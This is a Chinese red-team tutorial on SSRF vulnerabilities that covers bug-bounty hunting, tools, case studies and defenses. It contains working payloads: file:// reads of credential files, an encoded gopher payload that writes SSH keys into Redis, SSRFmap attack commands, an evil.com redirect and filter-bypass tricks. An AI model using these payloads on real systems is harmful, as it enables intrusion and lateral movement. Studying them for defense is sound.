SSRF 漏洞深度剖析:从原理到实战
SSRF 漏洞深度剖析:从原理到红队实战(含 SRC 挖掘、工具链与护网落地指南)
免责声明
- 本文所述所有渗透测试技术、工具、命令及实战案例,仅适用于已获得目标系统 / 网络所有者书面授权的测试场景(如企业内部安全评估、甲方委托的红队测试、个人合法拥有的实验环境)。
- 任何组织或个人若未取得明确书面授权,擅自将本文内容用于对第三方系统 / 网络的扫描、探测、攻击等行为,均属于非法网络活动,涉嫌违反《中华人民共和国网络安全法》《中华人民共和国刑法》(第 285 条 “非法侵入计算机信息系统罪”、第 286 条 “破坏计算机信息系统罪”)及《网络安全审查办法》等法律法规,作者对此类非法行为不承担任何责任,相关法律后果由行为人自行承担。
- 本文分享的渗透测试技术,核心目的是帮助读者 “理解攻击原理,进而构建更有效的防御体系”—— 渗透测试的本质是 “以攻促防”,而非 “指导攻击”。
- 网络安全行业的核心伦理是 “保护而非破坏”:所有测试行为需严格控制在授权范围内,测试结束后需完整恢复目标系统状态(如删除后门、清理日志、还原配置),严禁窃取、篡改、泄露目标系统的敏感数据(如用户信息、商业机密、核心代码),严禁破坏目标系统的正常运行。
- 网络安全是国家安全的重要组成部分,合法合规是每一位渗透测试工程师的职业底线。
- 您一旦阅读并使用本文内容,即视为已充分理解并同意本免责声明的全部条款。
作为护网红队,SSRF(Server-Side Request Forgery,服务器端请求伪造)漏洞是突破网络隔离、实现内网纵深渗透的 “隐形跳板”—— 它利用服务器端代替客户端发起请求的特性,让攻击者能控制服务器访问内网资产(如数据库、Redis、域控),而这些资产往往不对外暴露,是蓝队防护的薄弱环节。在 SRC 中,SSRF 因验证简单、危害明确(中高危),是快速产出的优质方向;在护网行动中,SSRF 更是 “从外网突破到内网核心区” 的关键漏洞,常与内网服务漏洞(如 Redis 未授权、MySQL 弱口令)结合形成致命攻击链。本文将从原理出发,系统化拆解 SSRF 的漏洞类型、SRC 挖掘方法、核心工具,结合实战与护网案例,阐述红队如何高效利用 SSRF 实现深度渗透。
一、SSRF 漏洞核心原理:“服务器替你访问” 的底层逻辑
SSRF 的本质是 “服务器端在攻击者控制下,发起非预期的网络请求”—— 由于服务器通常拥有内网访问权限(如能访问 192.168.0.0/24、10.0.0.0/8 网段),攻击者可通过控制请求目标,让服务器成为 “探针” 或 “攻击代理”,实现内网探测、文件读取、服务攻击等危害。
1. 触发三要素(缺一不可)
(1)服务器存在 “发起外部请求” 的功能
目标服务器需有主动请求外部资源的逻辑,例如:
- 在线 URL 截图(如 “输入 URL 生成网页截图”);
- URL 转 PDF(如 “将远程网页转为 PDF 下载”);
- 远程资源引用(如 “加载远程图片、JS 脚本”);
- API 转发(如 “服务器代理客户端请求第三方 API”);
- 文件上传中的远程地址(如 “从远程 URL 下载文件到服务器”)。
(2)攻击者可控制 “请求目标”
服务器发起的请求目标(如 URL、IP、端口)需可被攻击者通过参数修改,例如:
- 功能参数:
http://target.com/screenshot?url=http://example.com
(url
参数可控); - API 参数:
http://target.com/api/forward?remote=http://api.example.com
(remote
参数可控); - 隐藏参数:
http://target.com/upload?source=http://evil.com/file.zip
(source
参数隐藏在请求体中)。
(3)服务器无严格的请求过滤
服务器未对请求目标进行限制,例如:
- 未禁止访问内网 IP(如 127.0.0.1、192.168.1.1);
- 未限制危险协议(如
file://
、gopher://
、dict://
); - 未校验请求目标的合法性(如仅简单过滤 “http/https”,可通过协议嵌套绕过)。
2. SSRF 与 CSRF 的核心区别
很多人易混淆两者,核心差异在于 “请求发起者” 和 “攻击范围”:
维度 | SSRF(服务器端请求伪造) | CSRF(客户端请求伪造) |
---|---|---|
请求发起者 | 目标服务器(代替客户端发起请求) | 客户端浏览器(用户已认证的会话) |
攻击范围 | 服务器可访问的网络(含内网) | 客户端可访问的目标网站(仅外网) |
核心目标 | 探测内网、攻击内网服务、读取服务器文件 | 执行客户端已授权的操作(如改密码、转账) |
依赖条件 | 服务器有外部请求功能 + 参数可控 | 用户已登录目标网站 + 访问恶意页面 |
3. SSRF 的典型危害(按严重程度排序)
危害类型 | 具体表现 | 红队价值 |
---|---|---|
内网探测 | 扫描内网 IP 段、端口,发现存活主机与服务(如 192.168.1.1:8080、10.0.0.5:3306) | 绘制内网拓扑,寻找突破点 |
文件读取 | 通过file:// 协议读取服务器本地文件(如file:///etc/passwd 、file:///C:/Windows/system32/drivers/etc/hosts ) | 获取敏感配置(数据库密码、密钥) |
内网服务攻击 | 利用gopher:// 、dict:// 等协议攻击内网服务(如 Redis 未授权、MySQL 弱口令、JBoss 反序列化) | 直接获取内网主机权限(护网核心目标) |
端口扫描 | 探测服务器本地或内网端口状态(如http://127.0.0.1:22 判断 SSH 是否开放) | 寻找服务器自身的漏洞点 |
代理请求 | 让服务器代理访问外部恶意服务,隐藏攻击者 IP | 规避溯源,发起间接攻击 |
二、SRC 中快速挖掘 SSRF 漏洞:实战流程与验证技巧
SRC 中 SSRF 的挖掘核心是 “找到可控的服务器请求入口→验证请求目标是否可突破外网限制→证明内网 / 文件访问能力”,需按以下步骤高效落地:
1. 第一步:筛选高风险功能(优先测试)
SSRF 仅存在于 “服务器发起外部请求” 的功能中,需优先测试以下场景(按风险优先级排序):
功能类型 | 典型场景 | 可控参数特征 |
---|---|---|
远程资源加载 | 在线截图、URL 转 PDF、远程图片 / JS 加载 | url 、target 、remote 、source |
文件上传 / 下载 | 从远程 URL 下载文件、云存储文件引用 | download_url 、file_source 、cloud_path |
API 转发 / 代理 | 服务器代理客户端请求第三方 API(如支付、天气 API) | api_url 、proxy_target 、forward_to |
工具类功能 | 端口扫描工具(服务器端实现)、WHOIS 查询 | scan_ip 、query_host 、check_url |
隐藏功能 | 后台运维接口(如服务器监控、日志采集) | monitor_ip 、log_server 、collect_url |
筛选方法:
- 访问目标网站,遍历 “工具”“服务”“上传” 相关功能,记录含上述参数的请求;
- 用 Burp Suite 拦截所有请求,搜索参数名(
url
、target
、remote
),快速定位潜在入口; - 对 SRC 资产列表,用 Google Hacking 语法筛选:
site:target-domain inurl:url= | inurl:target= | inurl:remote=
。
2. 第二步:验证 SSRF 是否存在(核心步骤)
找到潜在入口后,需通过 “请求控制测试” 判断是否为真 SSRF(避免误判 “伪 SSRF”—— 部分功能仅在服务器内部固定域名,参数仅做展示)。
(1)基础验证:测试内网 / 本地地址访问
核心逻辑:让服务器请求 “仅自身或内网可访问的地址”,观察是否有响应(证明服务器真的发起了请求)。
测试目标 | 测试参数值 | 验证依据(证明存在 SSRF) |
---|---|---|
服务器本地地址 | url=http://127.0.0.1 、url=http://localhost:80 | 响应中包含服务器本地 80 端口的网页内容(如 “Apache 欢迎页”) |
内网常见服务地址 | url=http://192.168.1.1:8080 (内网 Tomcat)、url=http://10.0.0.5:3306 (MySQL) | 响应中包含服务特征(如 Tomcat 管理页标题、MySQL 版本信息) |
不存在的地址 | url=http://192.168.1.254:8888 (不存在的内网 IP: 端口) | 响应时间明显更长(服务器尝试连接后超时),与请求外网地址的响应不同 |
示例:
目标功能:http://test-src.com/screenshot?url=http://example.com
(在线截图)
测试 1:修改url=http://127.0.0.1
,若返回服务器本地网页截图→存在 SSRF;
测试 2:修改url=http://192.168.1.1:8080
,若返回 “Tomcat 管理页面” 截图→确认 SSRF 可访问内网。
(2)进阶验证:测试危险协议支持
部分 SSRF 仅支持http/https
,但支持file://
、gopher://
等协议的 SSRF 危害更高(可读取文件、攻击服务)。
协议类型 | 测试参数值 | 验证依据 |
---|---|---|
file:// 协议(文件读取) | url=file:///etc/passwd (Linux)、url=file:///C:/Windows/win.ini (Windows) | 响应中包含/etc/passwd 内容(如root:x:0:0:root:/root )或win.ini 内容 |
dict:// 协议(端口探测) | url=dict://127.0.0.1:22/info (探测 SSH 端口) | 响应中包含 SSH 服务的版本信息(如 “OpenSSH_8.2p1”) |
gopher:// 协议(服务攻击) | url=gopher://127.0.0.1:6379/_INFO (探测 Redis) | 响应中包含 Redis 的INFO 命令返回结果(如 “redis_version:6.2.5”) |
注意:若file://
协议被禁,可尝试大小写混淆(File://
、FILE://
)或路径拼接(file:///../etc/passwd
)。
(3)排除 “伪 SSRF”
部分功能看似有可控参数,但服务器并未真的发起请求(仅做前端展示或固定域名过滤),需排除:
- 测试
url=http://127.0.0.1
,响应与url=http://example.com
完全相同→服务器未实际请求,为伪 SSRF; - 测试
url=http://evil.com
(攻击者可控的 VPS),VPS 未收到请求→服务器过滤了外部域名,为伪 SSRF。
3. 第三步:SRC 提交技巧(提高审核通过率)
- 明确漏洞类型:标注 “SSRF 漏洞(可访问内网 + 读取文件)”“SSRF 漏洞(支持 gopher 协议,可攻击内网 Redis)”,避免模糊描述;
- 提供可复现步骤:包含 “功能路径→参数修改→响应结果”,例如:
- 访问
http://test-src.com/screenshot
(在线截图功能); - 输入参数
url=file:///etc/passwd
,点击生成截图; - 截图中显示
/etc/passwd
文件内容(附截图);
- 访问
- 证明危害:优先展示 “内网访问” 或 “文件读取” 的证据(如读取
/etc/passwd
、访问内网 Tomcat),而非仅端口扫描; - 区分危害等级:支持
file://
/gopher://
的 SSRF 标注 “高危”,仅支持http/https
的标注 “中危”。
三、SSRF 漏洞利用工具链:从探测到攻击
红队利用 SSRF 的工具需满足 “精准控制请求目标、支持多协议、适配内网服务攻击” 的需求,以下是实战高频工具:
1. 探测与验证工具
(1)Burp Suite(核心工具)
- 功能:拦截请求、修改参数、观察响应,快速验证 SSRF;
- 实战技巧:
- 用 “Repeater” 模块批量测试参数值(
127.0.0.1
、192.168.1.1
、file:///etc/passwd
); - 安装插件 “SSRF Detector”:自动检测请求中的 SSRF 风险参数,推荐测试目标(如内网 IP 段);
- 用 “Intruder” 模块扫描内网 IP 段:设置参数为
192.168.1.1-254
,观察响应时间差异,定位存活主机。
- 用 “Repeater” 模块批量测试参数值(
(2)curl(轻量验证工具)
-
功能:模拟服务器请求,验证 SSRF 是否支持特定协议 / 地址;
-
实战命令:
# 测试SSRF是否支持访问内网MySQL curl "http://test-src.com/screenshot?url=http://192.168.1.5:3306"# 测试SSRF是否支持file://协议读取文件 curl "http://test-src.com/download?url=file:///etc/passwd"# 测试SSRF是否支持gopher://协议(探测Redis) curl "http://test-src.com/api/forward?target=gopher://192.168.1.10:6379/_INFO"
2. 攻击与利用工具
(1)Gopherus(内网服务攻击利器)
-
核心用途:生成
gopher://
协议的攻击 Payload,用于攻击内网服务(Redis、MySQL、PostgreSQL、FastCGI); -
原理:
gopher://
协议可模拟 TCP 请求,将攻击命令序列封装为 URL,通过 SSRF 让服务器发送到内网服务; -
实战步骤(攻击内网 Redis):
-
安装 Gopherus:
git clone https://github.com/tarunkant/Gopherus.git cd Gopherus python3 gopherus.py
-
选择 “Redis”,输入攻击命令(如 “写入 SSH 公钥”):
set 1 "\n\nssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQC...\n\n" config set dir /root/.ssh/ config set dbfilename authorized_keys save
-
生成 gopher 协议 Payload:
gopher://192.168.1.10:6379/_*1%0D%0A$3%0D%0Aset%0D%0A$1%0D%0A1%0D%0A$45%0D%0A%0A%0Assh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQC...%0A%0A%0D%0A*4%0D%0A$6%0D%0Aconfig%0D%0A$3%0D%0Aset%0D%0A$3%0D%0Adir%0D%0A$16%0D%0A/root/.ssh/%0D%0A*4%0D%0A$6%0D%0Aconfig%0D%0A$3%0D%0Aset%0D%0A$10%0D%0Adbfilename%0D%0A$15%0D%0Aauthorized_keys%0D%0A*1%0D%0A$4%0D%0Asave%0D%0A
-
将 Payload 作为 SSRF 参数值发送:
http://test-src.com/api/forward?target=gopher://192.168.1.10:6379/_*1%0D%0A$3%0D%0Aset%0D%0A$1%0D%0A1%0D%0A$45%0D%0A%0A%0Assh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQC...%0A%0A%0D%0A*4%0D%0A$6%0D%0Aconfig%0D%0A$3%0D%0Aset%0D%0A$3%0D%0Adir%0D%0A$16%0D%0A/root/.ssh/%0D%0A*4%0D%0A$6%0D%0Aconfig%0D%0A$3%0D%0Aset%0D%0A$10%0D%0Adbfilename%0D%0A$15%0D%0Aauthorized_keys%0D%0A*1%0D%0A$4%0D%0Asave%0D%0A
-
攻击成功后,通过 SSH 登录内网 Redis 服务器:
ssh root@192.168.1.10
(无需密码)。
-
(2)SSRFmap(自动化 SSRF 利用工具)
-
核心用途:自动化测试 SSRF 的协议支持、内网扫描、服务攻击,支持多模块(Redis、MySQL、JBoss);
-
实战命令(扫描内网 + 攻击 Redis):
# 安装SSRFmap git clone https://github.com/swisskyrepo/SSRFmap.git cd SSRFmap pip3 install -r requirements.txt# 基础内网扫描(扫描192.168.1.0/24网段) python3 ssrfmap.py -u "http://test-src.com/screenshot?url=FUZZ" -m scan --range 192.168.1.0/24# 攻击内网Redis(通过SSRF写入SSH公钥) python3 ssrfmap.py -u "http://test-src.com/api/forward?target=FUZZ" -m redis --redis-ip 192.168.1.10 --redis-port 6379 --ssh-key ~/.ssh/id_rsa.pub
-
优势:无需手动构造 Payload,工具自动生成协议请求,适合批量测试与快速攻击。
(3)nc(监听与验证工具)
- 核心用途:在攻击者 VPS 上监听端口,验证 SSRF 是否能访问外部地址(排除服务器内网隔离限制);
- 实战步骤:
- VPS 上启动监听:
nc -lvp 8080
; - 发送 SSRF 请求:
http://test-src.com/screenshot?url=http://VPS-IP:8080
; - 若 VPS 收到连接请求(显示 “connect to [VPS-IP] from …”)→证明服务器可访问外部,SSRF 可用于代理请求。
- VPS 上启动监听:
四、实战与护网中 SSRF 漏洞的深度利用
SSRF 的核心价值在于 “突破外网边界,作为内网渗透的跳板”—— 在护网中,红队常通过 SSRF 将 “外网单点突破” 升级为 “内网全域控制”,以下为典型案例与技巧:
案例 1:SRC 中利用 SSRF 读取服务器敏感配置,获取数据库权限
环境背景
- 目标资产:
http://test-src.com
(某企业 SRC 资产); - 功能点:“URL 转 PDF” 功能(
http://test-src.com/pdf?url=http://example.com
); - 初始验证:修改
url=file:///etc/passwd
,响应中包含root:x:0:0:root:/root
→确认支持file://
协议,存在 SSRF。
渗透步骤
-
读取 Web 配置文件:
发送请求:
http://test-src.com/pdf?url=file:///var/www/html/config/db.php
;PDF 中显示配置内容:
$dbhost = 'localhost'; $dbuser = 'root'; $dbpass = 'Db@Test2024';
→获取数据库账号密码。 -
验证数据库访问权限:
发送请求:
http://test-src.com/pdf?url=http://127.0.0.1:3306
;响应中包含 MySQL 版本信息(
5.7.36
)→证明服务器本地 MySQL 开放。 -
远程连接数据库:
利用 SSRF 获取的账号密码,通过 Navicat 远程连接目标服务器的 MySQL(需目标开放 3306 端口,或通过后续内网渗透实现);
读取
user
表,获取管理员账号密码哈希,进一步登录后台。 -
SRC 提交证明:
截图 “PDF 中的 db.php 内容”“MySQL 连接成功界面”,按模板提交,获 10 分(高危漏洞)。
案例 2:护网中利用 SSRF 攻击内网 Redis,实现横向渗透
环境背景
- 护网目标:某企业内网(外网→DMZ 区→核心区);
- 突破点:DMZ 区 Web 服务器(
172.16.1.10
)存在 SSRF(“远程图片加载” 功能,http://172.16.1.10/load-img?url=http://example.com/img.jpg
); - 内网拓扑:DMZ 区可访问核心区 Redis 服务器(
10.0.0.5:6379
,未授权访问)。
渗透步骤
-
内网探测(确定 Redis 位置):
用 SSRFmap 扫描核心区网段(
10.0.0.0/24
):python3 ssrfmap.py -u "http://172.16.1.10/load-img?url=FUZZ" -m scan --range 10.0.0.0/24 --ports 6379
结果:
10.0.0.5:6379
响应正常→确认 Redis 存活。 -
生成 Redis 攻击 Payload:
用 Gopherus 生成 “写入 SSH 公钥” 的 gopher Payload(目标
10.0.0.5:6379
),Payload 内容如前文所示。 -
发送 SSRF 攻击请求:
将 Payload URL 编码后作为参数发送:
http://172.16.1.10/load-img?url=gopher://10.0.0.5:6379/_*1%0D%0A$3%0D%0Aset%0D%0A$1%0D%0A1%0D%0A$45%0D%0A%0A%0Assh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQC...%0A%0A%0D%0A*4%0D%0A$6%0D%0Aconfig%0D%0A$3%0D%0Aset%0D%0A$3%0D%0Adir%0D%0A$16%0D%0A/root/.ssh/%0D%0A*4%0D%0A$6%0D%0Aconfig%0D%0A$3%0D%0Aset%0D%0A$10%0D%0Adbfilename%0D%0A$15%0D%0Aauthorized_keys%0D%0A*1%0D%0A$4%0D%0Asave%0D%0A
服务器(
172.16.1.10
)代替客户端发起请求,将公钥写入 Redis 服务器的/root/.ssh/authorized_keys
。 -
SSH 登录 Redis 服务器:
从 DMZ 区跳板机(已控制)通过 SSH 登录
10.0.0.5
:ssh root@10.0.0.5 # 无需密码,公钥已写入
-
横向渗透核心区:
在 Redis 服务器上执行
arp -a
,获取核心区其他主机(如10.0.0.10
,域控);利用 Redis 服务器的内网权限,进一步扫描
10.0.0.10
的 445 端口(SMB 服务),尝试永恒之蓝漏洞攻击,最终获取域控权限。
护网中 SSRF 的核心利用技巧
(1)内网分段突破:从 DMZ 到核心区
- 逻辑:多数企业内网按 “DMZ 区(外网可达)→办公区→核心区(数据库、域控)” 分段,DMZ 区服务器通常可访问办公区,办公区可访问核心区;
- 操作:
- 利用 DMZ 区的 SSRF 扫描办公区网段(
192.168.1.0/24
),找到办公区的 Web 服务器(如192.168.1.20
); - 若
192.168.1.20
也存在 SSRF,再用其扫描核心区网段(10.0.0.0/24
),实现 “DMZ→办公区→核心区” 的三级突破。
- 利用 DMZ 区的 SSRF 扫描办公区网段(
(2)协议嵌套绕过防御
部分服务器会过滤127.0.0.1
、192.168.
等内网 IP,可通过 “协议嵌套” 或 “IP 混淆” 绕过:
- 协议嵌套:
http://http://127.0.0.1
(部分服务器解析时会忽略外层http://
,实际请求127.0.0.1
); - IP 混淆:
- 十进制 IP:
127.0.0.1
→2130706433
(发送url=http://2130706433
); - 域名解析:将内网 IP 绑定到攻击者控制的域名(如
inner.test.com
解析到192.168.1.1
),发送url=http://inner.test.com
;
- 十进制 IP:
- 路径跳转:利用服务器端的 302 跳转,先请求
http://evil.com/redirect?to=192.168.1.1
,evil.com
返回 302 重定向到内网 IP,绕过直接请求的过滤。
(3)结合其他漏洞形成攻击链
- SSRF + 内网服务漏洞:这是护网中最常见的组合,例如:
- SSRF + Redis 未授权→写入 SSH 公钥 /webshell;
- SSRF + MySQL 弱口令→执行
LOAD DATA INFILE
读取文件; - SSRF + JBoss 反序列化→执行命令获取权限;
- SSRF + 文件上传:通过 SSRF 从内网下载敏感文件(如
/etc/shadow
),再通过文件上传功能将破解后的哈希上传到 SRC 平台,作为漏洞证明。
五、SSRF 漏洞的防御与红队绕过技巧
1. 蓝队常见防御措施
- 严格限制请求目标:
- 白名单机制:仅允许请求指定的可信域名(如
example.com
、api.third-party.com
),拒绝所有 IP 地址和未知域名; - 禁止内网地址:过滤
127.0.0.0/8
、192.168.0.0/16
、10.0.0.0/8
、172.16.0.0/12
等内网网段;
- 白名单机制:仅允许请求指定的可信域名(如
- 限制危险协议:仅允许
http/https
协议,禁用file://
、gopher://
、dict://
、ftp://
等协议; - 参数验证与净化:
- 解析请求目标的 IP,确认不在内网网段(避免域名解析到内网 IP);
- 禁止参数中包含
@
(避免http://evil.com@127.0.0.1
绕过)、//
(避免路径跳转);
- 控制请求行为:
- 限制请求超时时间(如 5 秒内),避免服务器被用作端口扫描工具;
- 禁止请求服务器本地端口(如 22、3306、6379)。
2. 红队绕过技巧
- 绕过 IP 白名单:
- 利用子域名:若白名单允许
*.example.com
,可将内网 IP 绑定到inner.example.com
(攻击者控制该子域名); - 利用 DNS 重绑定:构造特殊域名,第一次解析到白名单域名(通过验证),第二次解析到内网 IP(实际请求);
- 利用子域名:若白名单允许
- 绕过协议限制:
- 协议大小写:
File:///etc/passwd
、GOPHER://127.0.0.1:6379
(部分服务器过滤不区分大小写); - 协议嵌套:
http://file:///etc/passwd
(部分服务器仅检查外层协议为http
,忽略内层file
协议);
- 协议大小写:
- 绕过内网 IP 过滤:
- 利用特殊 IP 格式:
127.0.0.1
→127.0.0.01
(部分服务器解析为127.0.0.1
)、0.0.0.0
(部分服务器视为127.0.0.1
); - 利用代理服务:让 SSRF 请求攻击者控制的代理服务器(如
http://proxy.evil.com
),再由代理转发到内网 IP,绕过直接过滤。
- 利用特殊 IP 格式:
六、总结
SSRF 漏洞的本质是 “服务器端请求目标的失控”,其在红队渗透中的核心价值在于 “打通外网到内网的通道”—— 它能让原本仅对外暴露的 Web 服务器,成为探测和攻击内网资产的 “跳板”。在 SRC 中,SSRF 的挖掘关键是 “找到可控的服务器请求入口 + 验证内网 / 文件访问能力”;在护网中,需结合gopher://
协议攻击内网服务,通过分段突破实现内网全域控制。
红队工程师利用 SSRF 的核心思维是 “内网导向”:
- 不局限于 “读取外网文件”,而是聚焦 “内网探测与服务攻击”;
- 优先攻击内网未授权服务(如 Redis、MySQL),这类服务往往无复杂防护,易直接获取权限;
- 注重绕过技巧,面对蓝队的 IP / 协议过滤,通过 DNS 重绑定、协议嵌套等方法突破限制。
重要提示:所有 SSRF 漏洞测试必须在合法授权下进行,未经授权的内网探测和服务攻击涉嫌 “非法侵入计算机信息系统”,需自行承担法律责任。